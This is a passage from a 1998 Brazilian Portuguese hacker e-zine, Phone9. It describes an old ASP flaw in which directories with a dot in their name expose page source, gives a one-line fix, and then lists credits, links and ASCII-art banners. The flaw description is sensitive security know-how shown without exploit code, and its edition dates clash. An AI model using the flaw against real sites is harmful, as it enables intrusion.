scripting para este tipo de atividades na Web. Embora seja futil, e somente pagina com extrema funcionalidade posssam ser alvos deste ataque, sistemas de compras on-line baseados em .asp podem e serao invadidos tendo a visualizacao do codigo fonte das paginas revelado, podendo originar ataques a certos sistemas de protecao SSLeay, entre outros. Embora futil um sistema que tenha mesmo que uma inutil, esta pode ser usada de forma comprometedora... As vulnerabilidade implica em utilizar diretorios com o caractere '.' neles ex. www.p9.org/www.www/phucking.asp assim o diretorio www.www e' totalmente vulneravel assim como todas as suas paginas. Assim as paginas que possuem estes diretorios, estao 100% vulneraveis. Tecnicas de protecao: Bom, se voce ainda nao descobriu sozinho... E' apenas excluir o '.' dos diretorios, http://www.p9.org/wwwxwww/phucking.asp, assim o bug nao pode afetar as estruturas do servidor ASP. Nenhuma empresa de seguranca, ou de inseguracna (microsoft), se pronunciou com alguma medida eficais de prevencao ao bugs, portanto fica assim ate tio bill, vir com outra melhor... bloodroot - blood@deathknights.com Falhas em extensoes HTML .ASP... reg - (c) 1998, productions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³19 - The Phone9 communications, departaments. ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° .ph0ne9.sp0ts Agradecimentos: cacaio (deathknighter!!!), pessoal da BOS-br, Dr.sm0g microsoftz.com, Puruca, x1p, Phineas Phreak, Xzr2pt, .pr0c., bi0tek E a todo o pessoal que colaborou com a edicao zine. .linx www.ph0ne9.0rg www.freshmeat.net www.microsoftz.com www.hackers.com.br www.deathknights.com www.outzone.net www.puruca.com.br .akitivites Data da 3a. edicao: 01 de novembro'98 Data da 4a. edicao: 01 de janeiro'98 Data da 5a. edicao: 01 de marco'98 .inf0rmati0n Informacoes: info9@phone9.org Artigos: articles@phone9.org editor-chefe: blood@phone9.org - The Phone9 Communications Systems - ____ _ _ ___ _ __ ___ ____ ____ ___ _ _ _ ___ ___ / _ \/ /_/ / _ | '_ \ / _ \/ _ \ __ |__ |/ _ \| |/ /| '_ \ / _ \ / ____/ _ / / | | | | __/\__ //\_\ / /| __/| . | | | |/ / / \/ \/ \/\___/|_| |_|\___|__/ / \/_/ /_/ \___||_|\_\|_| |_|\___/ |_______/ _ _ _ ___ ______ _______ __ __ _ ___(_)_ _ ___ ____ _ ___ _ ___ | |/ // _ \ / .[P9] / | \ '_ \ | |/ / |__ \_) / _ \ '_ \ | ./ / / |_| \ |_| \ . / | | | | . - \ / / |/ / / | | | |_|\_\___/__| | /__| | /\___/|_| |_|_|_|\_\__,_//_/|_|\___/|_| |_| \/ \/ askii by bloodroot|bi0tek __ __ _ .Phone9. _ __ __ / /\ __ _ .tekno.k0n _ __ /\ \ \_\/__ _ [dr0ne] _ __\/_/ contact: [.blood@puruca.com.br.]|[.phone9@phone9.org] The Phone9 kommunications Systems, Inc